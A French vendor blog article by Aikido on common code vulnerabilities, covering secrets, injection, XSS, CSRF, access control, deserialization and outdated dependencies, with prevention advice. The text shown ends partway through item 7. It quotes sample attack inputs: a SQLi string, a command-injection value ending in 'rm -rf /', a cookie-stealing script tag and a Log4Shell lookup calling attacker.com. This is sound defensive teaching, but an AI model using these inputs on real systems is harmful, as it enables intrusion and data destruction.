Aikido

Les 10 principales vulnérabilités de sécurité du code détectées dans les applications modernes

Écrit par
Ruben Camerlynck

Principales vulnérabilités de sécurité du code

Introduction : Dans le paysage logiciel actuel, la sécurité du code est une préoccupation majeure. 2025 a battu des records en matière de vulnérabilités divulguées – plus de 21 500 CVE au cours du premier semestre seulement. Les attaquants ne perdent pas de temps à exploiter ces failles, souvent quelques heures après leur divulgation. Voici le point crucial : beaucoup d'entre elles ne sont pas de nouvelles 0-days exotiques, mais les mêmes vieilles erreurs que les développeurs commettent depuis des décennies. C'est presque embarrassant – le cross-site scripting et l'injection SQL sont toujours monnaie courante dans les CVE nouvellement signalées, soulignant que les pratiques de codage sécurisé ne suivent pas le rythme. Cela devrait préoccuper chaque équipe de développement, car les exploits de vulnérabilités représentent désormais 20 % des violations – dépassant presque les identifiants volés comme principal vecteur d'attaque initial.

Figure : Le nombre de vulnérabilités logicielles atteint des sommets inégalés, avec 133 nouvelles CVEs signalées en moyenne chaque jour en 2025. Plus d'un tiers d'entre elles sont classées Élevées ou Critiques, rendant les correctifs rapides et le codage sécurisé plus cruciaux que jamais.

Pourquoi est-ce important ? Parce qu'une seule erreur de codage peut anéantir des millions de dollars d'investissements en sécurité. Par exemple, en 2024, une violation du Trésor américain a été attribuée à rien de plus qu'une clé API divulguée. Et nous avons tous vu comment une injection SQL triviale ou un contrôle d'authentification manquant peut entraîner des fuites de données catastrophiques. Un code sécurisé est plus important que jamais. Ce n'est pas seulement le problème de l'équipe de sécurité – cela commence par nous, les développeurs, en écrivant un code plus sûr dès le départ et en utilisant des outils pour détecter les problèmes tôt.

Dans cet article, nous allons détailler les principales vulnérabilités de sécurité au niveau du code qui affectent les applications modernes. Celles-ci incluent des bugs classiques dans votre propre code (comme des secrets codés en dur ou des failles de validation d'entrée) ainsi que de véritables CVEs dans les bibliothèques et frameworks open source sur lesquels vous vous appuyez. Pour chaque vulnérabilité, nous expliquerons son fonctionnement, donnerons un exemple concret, discuterons de son impact et fournirons des conseils pratiques pour la prévenir. Nous soulignerons également comment les outils de sécurité axée sur les développeurs comme Aikido peuvent aider à détecter ou même à corriger automatiquement ces problèmes avant qu'ils n'atteignent la production.

Que sont les vulnérabilités de sécurité du code ?

Une vulnérabilité de sécurité du code est toute faiblesse dans le code source d'une application qu'un attaquant peut exploiter pour compromettre la confidentialité, l'intégrité ou la disponibilité. Cela englobe tout, des erreurs simples (par exemple, l'utilisation de eval sur une entrée non nettoyée) aux failles subtiles dans les bibliothèques tierces (par exemple, un bug de parsing menant à l'exécution de code à distance). En bref, si cela facilite le travail d'un attaquant, c'est une vulnérabilité de code.

Ces faiblesses traversent les langages et les piles technologiques – que vous écriviez en JavaScript/TypeScript, Python, Go, Java, ou tout autre langage. Une vulnérabilité pourrait permettre à un attaquant d'injecter du code malveillant, de voler des données sensibles, d'escalader des privilèges ou de faire planter votre système. De nombreuses failles de ce type sont cataloguées comme des CVE (Common Vulnerabilities and Exposures) une fois découvertes dans des logiciels populaires. D'autres pourraient être des bugs logiques uniques dans votre propre code. Le point commun est qu'elles découlent de pratiques de codage non sécurisées ou d'hypothèses négligées.

Dans cet esprit, examinons quelques-unes des vulnérabilités au niveau du code les plus répandues et les plus dangereuses qui affectent les développeurs aujourd'hui. La liste ci-dessous mélange des erreurs de développeurs omniprésentes avec des CVE réelles issues de projets open source. Chacune représente une menace pratique pouvant entraîner des violations graves si elle n'est pas traitée.

Top 10 des vulnérabilités de sécurité du code (et comment les corriger)

1. Secrets codés en dur dans le code

Laisser des secrets sensibles intégrés dans le code est une erreur critique mais courante. Coder en dur des clés API, des identifiants, des clés de chiffrement ou des jetons dans votre source signifie que si un adversaire voit ce code (pensez à un dépôt public ou à un artefact divulgué), il obtient un accès instantané à ces secrets. Même dans les dépôts privés, les identifiants peuvent fuir accidentellement – et une fois divulgués, ils restent souvent utilisables pendant des années. En fait, le rapport 2025 de GitGuardian a révélé que 23,8 millions de secrets ont été exposés sur GitHub en 2024 (une augmentation de 25 % par rapport à l'année précédente). Pire encore, 70 % des secrets divulgués en 2022 étaient toujours valides en 2025, offrant aux attaquants une longue période pour les exploiter.

Les violations réelles soulignent l'impact. Par exemple, en 2024, des attaquants ont violé un système du département du Trésor américain en exploitant une seule clé API codée en dur pour une plateforme d'authentification. Avec une seule clé, ils ont contourné des couches de contrôles de sécurité comme s'ils étaient un utilisateur autorisé. De même, de nombreuses violations du cloud commencent par un développeur qui commet par inadvertance des identifiants cloud ou des mots de passe de base de données dans un dépôt. Une fois qu'un attaquant les trouve, c'est la fin du jeu – il peut se connecter en tant que vous et usurper l'identité de vos services.

Impact : Les secrets exposés peuvent entraîner un accès non autorisé immédiat aux bases de données, aux comptes cloud, aux passerelles de paiement ou aux API tierces. Un attaquant disposant d'une clé AWS divulguée, par exemple, pourrait déployer une infrastructure, exfiltrer des données ou accumuler des factures énormes. Le coût moyen des violations impliquant des identifiants compromis est de 4,5 millions de dollars, et elles sont les plus longues à détecter et à contenir car l'attaquant dispose essentiellement d'un accès valide.

Prévention/Correction : Traitez les secrets comme les grenades dégoupillées qu'ils sont – ne les codez jamais en dur dans votre code ou vos Dockerfiles. Utilisez des variables d'environnement, la gestion de la configuration ou des coffres-forts de secrets dédiés pour injecter les secrets à l'exécution. Mettez en œuvre l'analyse automatisée des secrets dans votre pipeline CI/CD pour détecter toute information d'identification qui s'y glisserait. (Il existe des solutions qui offrent une fonctionnalité de détection de secrets en direct pour empêcher que les secrets ne soient committés.) Par exemple, la plateforme d'Aikido inclut une analyse des secrets qui signalerait une clé API dans un commit et vous alerterait ou même empêcherait le push. Une fois qu'un secret est exposé, supposez qu'il est compromis – faites-le pivoter immédiatement et invalidez l'ancien. En pratiquant une bonne hygiène des secrets et une analyse régulière, vous pouvez éviter de donner aux attaquants les clés de votre royaume.

2. Attaques par injection (Injection SQL et de commandes)

Les vulnérabilités par « injection » sont un classique indémodable – et toujours incroyablement répandues. Dans une attaque par injection de code, une entrée non fiable est interprétée comme du code ou des commandes, permettant à l'attaquant de modifier le comportement prévu. Les deux variantes les plus notoires sont l'injection SQL et l'injection de commandes OS.

  • Injection SQL (SQLi) : Se produit lorsque l'entrée utilisateur est concaténée dans une requête SQL sans validation ou paramétrisation appropriée. Les attaquants peuvent créer des entrées comme ' OR 1=1-- pour manipuler la logique de la requête. Cela peut leur permettre de vider des bases de données entières ou de modifier des données en étendant la clause WHERE de la requête ou en la terminant et en ajoutant une nouvelle commande. Bien qu'étant une vulnérabilité classique des années 2000, l'injection SQL (SQLi) reste très répandue – elle était le deuxième modèle de vulnérabilité le plus courant dans les CVE en 2025. Par exemple, le tristement célèbre «Bobby Tables » XKCD blague est amusante jusqu'à ce que vous réalisiez que de vraies entreprises en sont encore victimes. Il y a eu des violations très médiatisées où une simple injection SQL dans un formulaire de connexion a conduit au vol de millions de dossiers clients.
  • Injection de commandes OS : Dans ce cas, l'application prend une entrée utilisateur et l'insère dans une commande système ou un appel d'exécution shell. Par exemple, une application Python pourrait faire os.system("ping " + user_input). Un attaquant pourrait fournir une entrée comme 8.8.8.8 && rm -rf / pour exécuter une seconde commande malveillante. Il y a eu des CVE dans des frameworks web et des utilitaires qui ont involontairement permis à de telles entrées de générer des shells. Essentiellement, si un attaquant peut injecter un ; ou && dans une chaîne de commande, ils peuvent exécuter des commandes système arbitraires avec les privilèges de l'application.

Exemple : Un incident notable du monde réel a été la vulnérabilité Drupalgeddon2 (CVE-2018-7600) dans le CMS Drupal, qui était essentiellement une faille d'injection permettant l'exécution de code à distance via des requêtes spécialement conçues. Autre exemple : en 2022, une grande entreprise a vu ses données internes effacées parce qu'un outil d'administration concaténait les entrées utilisateur dans une commande PowerShell – un attaquant a passé une commande pour désactiver les services de sécurité et supprimer des données. Ces cas montrent que l'injection peut conduire directement à une compromission complète du système.

Impact : L'injection SQL peut exposer ou corrompre des données sensibles (enregistrements d'utilisateurs, informations financières) et permet souvent un pivotement réseau plus profond via les procédures stockées de la base de données. L'injection de commandes aboutit presque toujours à une exécution de code à distance (RCE), permettant aux attaquants d'exécuter n'importe quel code sur le serveur – prenant potentiellement le contrôle total de l'hôte. Les failles d'injection sont hautement critiques ; elles peuvent compromettre une application et son serveur sous-jacent.

Prévention : Le mantra est ne jamais faire confiance aux entrées utilisateur. Utilisez des requêtes préparées (requêtes paramétrées) pour l'accès à la base de données – cela garantit que les données utilisateur sont traitées strictement comme des données, et non comme du SQL exécutable. Par exemple, en Python, utilisez des marqueurs de paramètres avec cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,)) plutôt que le formatage de chaînes. Pour les langages comme JavaScript, utilisez des bibliothèques ORM/QueryBuilder qui paramètrent les requêtes pour vous. De même, évitez de construire des commandes shell à partir de fragments d'entrée utilisateur. Si vous devez invoquer des commandes système, utilisez des appels de bibliothèque sécurisés ou au moins une liste blanche d'entrées acceptables. Validez et nettoyez les entrées – par exemple, si une entrée doit être un ID, assurez-vous qu'elle est numérique et dans la plage attendue. La validation des entrées n'est pas infaillible à elle seule, mais c'est une couche importante.

De plus, utilisez des outils de test de sécurité. L'analyse statique du code peut souvent détecter les modèles d'injection évidents (comme la concaténation de chaînes dans les appels SQL). Le scanner SAST d'Aikido, par exemple, signalerait le risque os.system(user_input) appel ou une requête SQL non paramétrée comme une injection potentielle. Du côté préventif, les pare-feu applicatifs (WAF) peuvent bloquer certaines tentatives d'injection, mais ils sont un filet de sécurité – l'objectif est de corriger le code. N'oubliez pas que les failles d'injection persistent car elles sont faciles à introduire et parfois difficiles à repérer. Le code review, la formation des développeurs et les analyses automatisées sont vos alliés ici.

3. Cross-site scripting (XSS)

Le cross-site scripting est un autre favori éternel dans la boîte à outils de l'attaquant. Dans une attaque XSS, une application web inclut par inadvertance du code script malveillant fourni par un attaquant dans les pages envoyées à d'autres utilisateurs. Le navigateur de la victime exécute ce script, ce qui entraîne des sessions détournées, des sites défigurés ou des logiciels malveillants livrés à l'utilisateur. Le XSS se présente sous différentes formes (stocké, réfléchi, basé sur le DOM), mais à la base, il s'agit généralement d'un échec à nettoyer ou encoder correctement la sortie dans l'interface utilisateur.

Malgré l'essor des frameworks frontend modernes, le XSS reste le modèle de vulnérabilité web le plus fréquent. Au premier semestre 2025, le cross-site scripting était la faiblesse la plus courante observée dans les nouvelles CVE. Cela s'explique en partie par le fait que même de légers oublis dans la désinfection peuvent introduire du XSS dans des plateformes autrement sécurisées. Par exemple, une nouvelle vulnérabilité Angular divulguée en 2025 (CVE-2025-66412) a révélé que certains attributs SVG et MathML n'étaient pas couverts par le désinfecteur par défaut d'Angular, permettant aux URL JavaScript malveillantes de passer inaperçues. Dans les applications utilisant les versions Angular affectées, un attaquant pourrait créer une charge utile qui, une fois rendue, exécuterait un script arbitraire dans les navigateurs des utilisateurs – un XSS stocké dans ce qui est censé être un framework sécurisé !

Exemple : Un exemple classique est une section de commentaires où les utilisateurs peuvent publier du texte. Si l'application réaffiche simplement ce texte sur les pages sans encodage, un attaquant pourrait publier un commentaire tel que <script>stealCookies()</script>. Chaque utilisateur consultant ce commentaire exécuterait à son insu le script de l'attaquant, qui pourrait, par exemple, envoyer son jeton de session à l'attaquant. Il y a eu de réels incidents sur des sites de premier plan où des XSS dans les profils d'utilisateurs ou les forums ont conduit à des piratages de comptes massifs. Même en 2023, des chercheurs ont découvert des XSS dans divers plugins et applications web – par exemple, une XSS réfléchie dans un portail de support d'entreprise populaire a permis à un attaquant d'exécuter du code en incitant un utilisateur du support technique à cliquer sur un lien malveillant.

Impact : L'impact de la XSS est généralement l'usurpation d'identité et le vol de données côté client. Les attaquants peuvent voler les cookies de session, leur permettant d'usurper l'identité des utilisateurs (y compris les administrateurs). Ils peuvent effectuer des actions en tant qu'utilisateur (comme modifier vos paramètres de compte), afficher de faux formulaires de connexion (phishing), ou même propager des vers (une XSS qui se publie sur d'autres pages). Bien que la XSS ne compromette pas directement le serveur, elle expose vos utilisateurs à de graves risques et peut défigurer votre application. Dans certains cas, la XSS peut être une étape vers d'autres attaques (par exemple, pivoter vers le navigateur d'un administrateur pour obtenir un accès au backend).

Prévention : La règle d'or est d'assainir les entrées et d'encoder les sorties. Pour toute donnée susceptible d'inclure des caractères spéciaux HTML, assurez-vous qu'elle est correctement échappée ou assainie avant d'être insérée dans la page. Les frameworks modernes comme React, Angular et Vue intègrent des défenses XSS (par exemple, l'auto-échappement ou DomPurify pour le HTML dangereux) – utilisez-les comme prévu et évitez de contourner ces protections. Si vous construisez manuellement du HTML, utilisez des bibliothèques de templating qui échappent automatiquement ou appellent explicitement les fonctions d'encodage. Mettez en œuvre une politique de sécurité du contenu (CSP) pour atténuer les dommages (la CSP peut restreindre les scripts qui peuvent s'exécuter). Mettez régulièrement à jour les bibliothèques frontend – comme le montrent les CVE XSS d'Angular de 2025, les frameworks corrigent les lacunes de sanitization.

Du point de vue des outils, analyseurs statiques peuvent trouver certains problèmes XSS en traçant les flux de données non assainis. L'analyse de code d'Aikido, par exemple, peut vous alerter si une entrée utilisateur est directement insérée dans innerHTML ou un template sans échappement. L'analyse dynamique (DAST) peut également détecter les XSS en tentant d'injecter des scripts lors des tests. Combinez cela avec une code review approfondie (imaginez la mentalité d'un attaquant lors de l'examen de tout code qui gère le HTML). La clé est la vigilance : les XSS s'infiltrent souvent par ce « petit champ » que quelqu'un a oublié d'échapper.

4. Cross-Site Request Forgery (CSRF)

La falsification de requêtes intersites est un peu différente des autres problèmes ici – c'est plus une vulnérabilité de conception qu'un bug de code pur et simple, mais elle est très pertinente pour les applications web. Le CSRF permet à un attaquant de tromper le navigateur d'une victime pour qu'il effectue des actions non autorisées sur une application web dans laquelle la victime est authentifiée. En substance, l'attaquant « chevauche » la session de la victime en envoyant une requête forgée depuis le navigateur de la victime vers l'application cible.

Comment cela se produit-il ? Supposons qu'un utilisateur soit connecté au site web de sa banque. La fonctionnalité de transfert d'argent de la banque est une simple requête POST pour transférer de l'argent. Si le site de la banque n'est pas protégé contre le CSRF, un attaquant pourrait envoyer à cet utilisateur une page HTML malveillante contenant un formulaire caché ou un script qui effectue automatiquement cette requête POST (en utilisant les cookies de l'utilisateur). La banque voit un cookie de session valide de l'utilisateur et traite la requête – transférant de l'argent à l'attaquant, le tout à l'insu de l'utilisateur.

Le CSRF est connu depuis des années, mais il apparaît encore fréquemment (il figurait parmi les 5 principales catégories de faiblesses dans les CVE de 2025). Il survient souvent lorsque les développeurs créent des API ou des actions de formulaire sans inclure de jetons CSRF ou d'autres mesures anti-falsification. Même les frameworks expérimentés peuvent présenter des bugs logiques : par exemple, une vulnérabilité Angular de 2025 a été découverte où la protection XSRF d'Angular traitait par erreur certaines URL inter-domaines comme étant de même origine, ce qui entraînait l'attachement du jeton de l'utilisateur à des requêtes contrôlées par l'attaquant. Ce type de faille pourrait permettre le CSRF en divulguant ou en utilisant abusivement des jetons.

Impact : Une attaque CSRF réussie peut forcer les utilisateurs à effectuer toute action modifiant l'état que leur compte est autorisé à faire : mettre à jour les détails du compte, effectuer des achats, changer leur mot de passe, voire escalader les privilèges si une telle fonctionnalité existe. Essentiellement, l'attaquant s'appuie sur la session authentifiée de la victime. Notamment, les attaques CSRF ciblent les actions, et non directement le vol de données (c'est à cela que sert le XSS), mais les actions peuvent être tout aussi dommageables (transactions financières, modifications de données, etc.). De nombreux exploits CSRF très médiatisés ont permis aux attaquants, par exemple, de modifier les paramètres DNS d'un routeur depuis l'intérieur, ou de publier du contenu indésirable au nom d'un utilisateur sur les réseaux sociaux.

Prévention : La défense standard consiste à inclure un jeton anti-CSRF avec chaque transaction sensible. Des frameworks comme Django, Rails, Spring, etc. ont des mécanismes de jetons CSRF intégrés – utilisez-les. Le jeton est une valeur aléatoire qu'un site d'attaquant ne peut pas obtenir, et le serveur n'honorera que les requêtes qui ont le bon jeton (généralement envoyé comme champ de formulaire caché ou en-tête). Dans les applications modernes, si vous construisez un backend API pur, vous pouvez utiliser des stratégies comme l'exigence d'un en-tête personnalisé (par exemple, X-Requested-With) ou des cookies same-site définis à Strict/Lax pour atténuer le CSRF. Assurez-vous que vos cookies sont marqués SameSite=Lax ou Strict afin que les navigateurs ne les incluent pas par défaut dans les requêtes inter-origines (ceci est devenu une défense moderne essentielle). De plus, soyez prudent avec les configurations CORS – ne permettez pas au domaine d'un attaquant d'envoyer des requêtes privilégiées via CORS, sauf si cela est absolument voulu.

La plupart des frameworks web gèrent le CSRF pour vous si vous l'activez correctement. Assurez-vous qu'il n'est pas désactivé accidentellement. Lors des tests, tentez des scénarios CSRF : une action peut-elle être déclenchée simplement en visitant un lien externe ou en chargeant une image ? Si oui, vous avez un problème. Heureusement, le CSRF peut être évité avec les bonnes pratiques. Les tests de sécurité d'Aikido peuvent également simuler des tentatives de CSRF dans le cadre du pentesting. De plus, envisagez des actions critiques à plusieurs facteurs (ainsi, même si le CSRF déclenche l'action, un second facteur est nécessaire pour la compléter). Globalement, ne supposez jamais qu'une requête provient d'une source authentique — validez-la.

5. Authentification et contrôle d'accès défaillants

Les vulnérabilités d'authentification et de contrôle d'accès défaillants concernent ce qui se passe lorsque votre application n'applique pas correctement qui peut faire quoi. Cette catégorie est constamment le risque le plus critique du Top 10 OWASP. Essentiellement, ce sont des failles qui permettent aux attaquants de contourner l'authentification ou d'élever leurs privilèges en exploitant des lacunes dans votre logique d'autorisation.

Un sous-ensemble est authentification défaillante – des problèmes tels que l'autorisation de mots de passe faibles, l'absence de verrouillage après des tentatives de force brute, ou une gestion de session défaillante (par exemple, des ID de session prévisibles ou qui n'expirent pas). Un exemple historique célèbre est un problème où certaines applications acceptaient un JWT avec l'algorithme « none » comme valide – ce qui signifie qu'un attaquant pouvait forger un jeton avec { "alg": "none", "user": "admin" } et le système l'acceptait comme une connexion administrateur (cela résultait de bibliothèques ne vérifiant pas correctement les jetons, un problème découvert vers 2015). Plus récemment, des erreurs de configuration comme le maintien de identifiants d'administrateur par défaut ou l'utilisation de mots de passe codés en dur (liés aux secrets) sont des échecs d'authentification courants.

L'autre sous-ensemble (et sans doute plus répandu) est contrôle d’accès défaillant. Il s'agit de ne pas vérifier correctement les permissions utilisateur. Par exemple, une application pourrait autoriser une URL telle que /user/profile?userId=1234. Si je peux changer le userId à l'ID de quelqu'un d'autre et consulter ou modifier ses données, il s'agit d'une IDOR (Insecure Direct Object Reference) – une faille classique de contrôle d'accès. Cela a été mis en évidence comme CWE-862 « Missing Authorization » dans de nombreuses CVE. C'est incroyablement courant : de nombreuses violations de données très médiatisées commencent par la découverte d'un endpoint d'API qui ne vérifie pas les privilèges du demandeur. Un exemple concret : un système RH d'entreprise disposait d'une fonction « exporter tous les dossiers des employés » destinée aux responsables RH. En raison d'un contrôle manquant, tout employé connecté pouvait l'invoquer s'il connaissait l'URL – entraînant une fuite de données de milliers de dossiers.

Impact : Une authentification défaillante peut permettre aux attaquants de se faire passer pour d'autres utilisateurs (y compris des administrateurs) ou d' utiliser les privilèges d'un autre utilisateur. Un contrôle d'accès défaillant peut exposer des données sensibles (si vous pouvez accéder aux dossiers d'une autre personne) ou même permettre des modifications d'état malveillantes (par exemple, des utilisateurs normaux effectuant des actions réservées aux administrateurs). Les pires scénarios incluent des prises de contrôle de compte complètes, des fuites de données ou des opérations non autorisées à travers le système. Par exemple, un contrôle d'administrateur manquant pourrait permettre à un attaquant de créer de nouveaux utilisateurs administrateurs ou de télécharger toutes les données clients. Il est facile de comprendre pourquoi cela est classé comme le risque n°1 – cela sape le principe de sécurité fondamental qui garantit que chaque utilisateur ne peut faire que ce qu'il est censé faire.

Prévention : Cela se résume à la rigueur dans votre implémentation de l'authentification et de l'autorisation :

  • Authentification : Utilisez des frameworks éprouvés pour la gestion des connexions et des sessions – n'implémentez pas votre propre système d'authentification si vous pouvez l'éviter. Appliquez des politiques de mots de passe robustes et utilisez l'authentification multi-facteurs pour les comptes sensibles. Assurez-vous de hacher correctement les mots de passe (utilisez des hachages adaptatifs robustes comme bcrypt ou Argon2, pas du simple MD5). Implémentez le verrouillage de compte ou la limitation de débit sur les tentatives de connexion pour contrecarrer les attaques par force brute. Pour les jetons de session, rendez-les longs, aléatoires, et si vous utilisez des JWT, vérifiez toujours les signatures et les revendications (et rejetez l'algorithme « none » ou d'autres configurations non sécurisées). Envisagez d'utiliser des bibliothèques pour gérer la vérification des JWT et le stockage des sessions de manière sécurisée.
  • Contrôle d'accès : Suivez le principe du moindre privilège dans la conception de votre application. Côté serveur, chaque requête vers une ressource protégée doit effectuer une vérification d'autorisation : par exemple, si l'utilisateur 123 demande /accounts/456, le code doit vérifier que 123 est autorisé à accéder à la ressource 456. Utilisez des frameworks de contrôle d'accès basé sur les rôles (RBAC) ou basé sur les attributs (ABAC) lorsque cela est possible. Il est souvent utile de centraliser la logique d'autorisation afin qu'elle ne soit pas dispersée dans une multitude de conditions faciles à oublier. Lorsque vous utilisez des frameworks comme Django, Rails, Spring Security, etc., tirez parti de leurs annotations ou middlewares de contrôle d'accès intégrés. Dans les API REST, évitez de vous fier uniquement à l'application côté client (comme masquer les boutons d'administration dans l'interface utilisateur) – appliquez toujours la logique côté backend également.

Pendant le développement et les tests, pensez comme un attaquant : essayez la manipulation d'URL, tentez d'accéder aux identifiants d'autres utilisateurs ou d'effectuer des actions en dehors de votre rôle. Des outils comme les tests de sécurité d'Aikido (ou le pentesting manuel) peuvent aider à identifier ces problèmes en recherchant les schémas IDOR courants ou l'authentification manquante sur les endpoints. Certains outils d'analyse statique peuvent également détecter les contournements codés en dur ou les conditions toujours vraies dans la logique d'authentification.

Dans le code, ne partez jamais du principe de la « sécurité par l'obscurité » (c'est-à-dire que personne ne trouvera ce endpoint d'administration caché). Assurez-vous plutôt que même s'ils le trouvent, ils ne peuvent pas l'utiliser sans les identifiants appropriés. La journalisation et les alertes sont également essentielles – si quelqu'un accède à plusieurs reprises à des ressources auxquelles il ne devrait pas, vous voulez le savoir. Pour résumer : authentifiez tout, autorisez chaque action.

6. Désérialisation non sécurisée

Les vulnérabilités de désérialisation surviennent lorsqu'une application accepte des données sérialisées (par exemple, des blobs binaires ou du JSON/XML représentant des objets) provenant d'une source non fiable et les désérialise sans les protections appropriées. Si les données sont conçues de manière malveillante, cela peut entraîner l'instanciation d'objets inattendus par le programme ou l'exécution de code contrôlé par l'attaquant. Dans des langages comme Java, Python et .NET, la désérialisation non sécurisée a conduit à de nombreuses CVE critiques et exploits.

Un exemple récent très médiatisé est React2Shell (CVE-2025-55182), une RCE critique dans les React Server Components découverte fin 2025. Elle provenait d'une désérialisation non sécurisée dans le protocole « Flight » de RSC – en substance, une charge utile malformée envoyée à une application Next.js/React pouvait manipuler la logique de désérialisation du serveur et permettre l'exécution de code à distance. Ce qui rend cela particulièrement effrayant, c'est que les configurations par défaut étaient vulnérables (une application Next.js standard pouvait être exploitée sans aucune modification de code par le développeur). Il s'agissait d'une attaque non authentifiée ne nécessitant qu'une requête HTTP spécialement conçue vers le serveur, et le code d'exploit est devenu publiquement disponible – entraînant des exploits actifs dans la nature en quelques jours. Cela montre comment les failles de désérialisation peuvent se cacher même dans les frameworks modernes.

En Java, un cas tristement célèbre fut l'exploitation d'Apache Commons Collections en 2015 : de nombreuses applications d'entreprise utilisaient des bibliothèques qui désérialisaient automatiquement des objets Java à partir d'entrées utilisateur (comme dans les cookies HTTP ou les données SOAP). Les attaquants ont découvert qu'ils pouvaient inclure un objet sérialisé d'une classe malveillante qui, une fois construite, exécuterait des commandes. Cela a conduit à des RCE dans des applications comme Jenkins, WebLogic, etc. (Plusieurs CVE comme CVE-2017-9805 dans Struts et d'autres dans WebLogic ont abordé ces problèmes). Python n'est pas non plus immunisé – l'utilisation de pickle.loads sur une entrée non fiable revient essentiellement à donner des pouvoirs d'exécution de code à cette entrée. Même les formats de données apparemment sûrs peuvent être risqués : les analyseurs YAML en Python et Ruby présentaient des vulnérabilités qui permettaient d'exécuter des commandes lors du chargement de fichiers YAML spécialement conçus.

Impact : La désérialisation non sécurisée est souvent une voie vers exécution de code à distance. Au minimum, cela peut permettre la falsification de données ou l'injection d'objets non intentionnels. Un attaquant peut potentiellement instancier des classes système ou des objets avec des effets secondaires malveillants. Par exemple, en Java, ils pourraient utiliser des classes gadget (des objets dont la readObject méthode a un comportement malveillant) pour ouvrir un reverse shell. En Python, un pickle malveillant pourrait importer le os module et exécuter des commandes système. L'impact est généralement un compromis total de l'application, et potentiellement de l'hôte, car le code s'exécute au sein du processus de l'application.

Prévention : Premièrement, évitez autant que possible de sérialiser et désérialiser des formats de données sensibles ou arbitraires provenant de sources non fiables. Si vous devez échanger des données avec le client, utilisez des formats plus simples comme JSON et analysez/validez le contenu manuellement plutôt que d'utiliser la sérialisation d'objets du langage natif. Pour les langages qui nécessitent une désérialisation (par exemple, la réception d'objets complexes), utilisez des bibliothèques qui prennent en charge un mode sécurisé ou une liste blanche de classes. Par exemple, l'ObjectInputStream de Java ObjectInputStream peut être restreint à certaines classes via un filtre de validation (disponible dans les versions récentes du JDK). De même, pour Python, préférez json ou si vous devez utiliser YAML, utilisez safe_load au lieu de load (pour éviter l'instanciation potentielle d'objets).

De nombreux frameworks ont traité les vecteurs de désérialisation connus : par exemple, en désactivant les valeurs par défaut dangereuses. Assurez-vous de maintenir ces bibliothèques à jour. La vulnérabilité React mentionnée ci-dessus a été corrigée par des patchs pour Next.js et React – la mise à niveau vers ces versions est critique. L'analyse des dépendances vous alertera de ces CVE afin que vous puissiez appliquer les correctifs rapidement.

Côté code, traitez la désérialisation comme le chargement d'un fichier provenant d'une source non fiable – ne jamais faire confiance à son contenu. Implémentez des contrôles d'intégrité ou des signatures pour les données sérialisées si possible (afin que seul le serveur puisse produire des objets sérialisés valides). Si vous utilisez des éléments comme les JWT ou d'autres jetons, préférez les formats standards avec validation intégrée. Le SAST d'Aikido peut aider à signaler l'utilisation de fonctions non sécurisées (par exemple, il peut avertir s'il détecte pickle.loads sur des données qui ne sont manifestement pas fiables). Et si vous devez absolument accepter des objets sérialisés, envisagez d'exécuter cette logique dans un environnement sandboxé avec des privilèges limités.

En résumé : soyez extrêmement prudent avec la désérialisation. La commodité de transformer automatiquement des octets en objets ne vaut pas le risque de sécurité, à moins d'être très étroitement contrôlée.

7. Utilisation de dépendances vulnérables et obsolètes

Les applications modernes dépendent fortement des bibliothèques et frameworks open source. L'inconvénient est que si vous ne les maintenez pas à jour, vous hébergez probablement des vulnérabilités connues dans votre base de code. L'utilisation de composants vulnérables ou obsolètes est si répandue qu'OWASP l'a intégrée dans la catégorie plus large de la « chaîne d'approvisionnement logicielle » en 2025. Une seule bibliothèque obsolète peut rendre votre application exploitable, même si votre propre code est irréprochable.

L'exemple emblématique est Log4Shell (CVE-2021-44228) dans Log4j 2. Il s'agissait d'une vulnérabilité RCE critique dans une bibliothèque de journalisation Java extrêmement populaire, divulguée fin 2021. Elle permettait aux attaquants d'envoyer simplement une chaîne spécialement conçue (${jndi:ldap://attacker.com/a}) dans n'importe quel message de journalisation ; si une version vulnérable de Log4j enregistrait cette chaîne, elle effectuerait une recherche JNDI vers le serveur de l'attaquant et chargerait du code malveillant. Le résultat ? Un attaquant pouvait exécuter du code arbitraire sur le serveur, déclenché par un événement de journalisation. Log4Shell a été partout – des millions d'applications ont été affectées car Log4j était intégré dans d'innombrables produits Java. Les entreprises ont passé des semaines à mettre à jour frénétiquement Log4j vers la version 2.17+ pour le corriger. Ce bug de dépendance a été qualifié de l'une des vulnérabilités Internet les plus graves depuis des années.

Et il y a bien d'autres exemples : la faille Heartbleed dans OpenSSL (2014) a exposé les communications, les failles de désérialisation Jackson-databind (plusieurs CVE en 2017-2019) ont permis aux attaquants d'exécuter du code à distance (RCE) via le traitement JSON, une vulnérabilité dans la bibliothèque Python urllib3 (CVE-2020-26137) a permis le contournement de certificat HTTPS sous certaines conditions, etc. Dans l'écosystème JavaScript, qui peut oublier les problèmes de pollution de prototype dans Lodash et jQuery (par exemple, CVE-2019-10744) – les attaquants pouvaient manipuler le prototype d'un objet via une entrée malveillante, pouvant potentiellement causer des ravages dans l'application. Si vous utilisez une version obsolète d'un package populaire, il est probable que des vulnérabilités soient publiquement connues pour celle-ci. Les attaquants les connaissent certainement et tenteront d'exploiter les applications qui n'ont pas été patchées.

Impact : L'impact varie selon la vulnérabilité de la bibliothèque, mais il peut être aussi grave que l'exécution de code à distance, la fuite de données ou la compromission complète. En prenant l'exemple de Log4Shell – si vous aviez une ancienne version de Log4j, un attaquant pourrait exécuter du code à distance sur vos serveurs en envoyant simplement la bonne chaîne de caractères (c'est le pire scénario possible). Un framework web obsolète pourrait permettre des attaques XSS ou SQLi sur votre site même si votre propre code est correct. Une bibliothèque de chiffrement vulnérable pourrait compromettre le chiffrement sur lequel vous comptez. Essentiellement, votre sécurité n'est aussi forte que le maillon le plus faible de vos dépendances. Les attaquants recherchent souvent des versions logicielles spécifiques via les en-têtes ou les chemins de fichiers connus pour identifier les cibles exploitables.

Prévention : Restez à jour avec les mises à jour. C'est plus facile à dire qu'à faire (dans les grands projets avec de nombreuses dépendances, les mises à jour constantes peuvent être une corvée), mais c'est non-négociable pour la sécurité. Utilisez des outils de gestion des dépendances qui peuvent vous montrer les mises à jour disponibles et prévoyez du temps régulièrement pour les appliquer. Tirez parti des outils d'analyse de la composition logicielle (SCA) qui vous alerteront si votre projet intègre une bibliothèque avec une CVE connue. Par exemple, s'il y a une vulnérabilité critique dans lodash 4.17.19 et que vous l'utilisez, un outil SCA le signalerait et suggérerait de passer à 4.17.21. De nombreux registres de paquets publient également des avis de sécurité – utilisez les outils d'audit appropriés pour votre écosystème dans le cadre de votre processus CI.

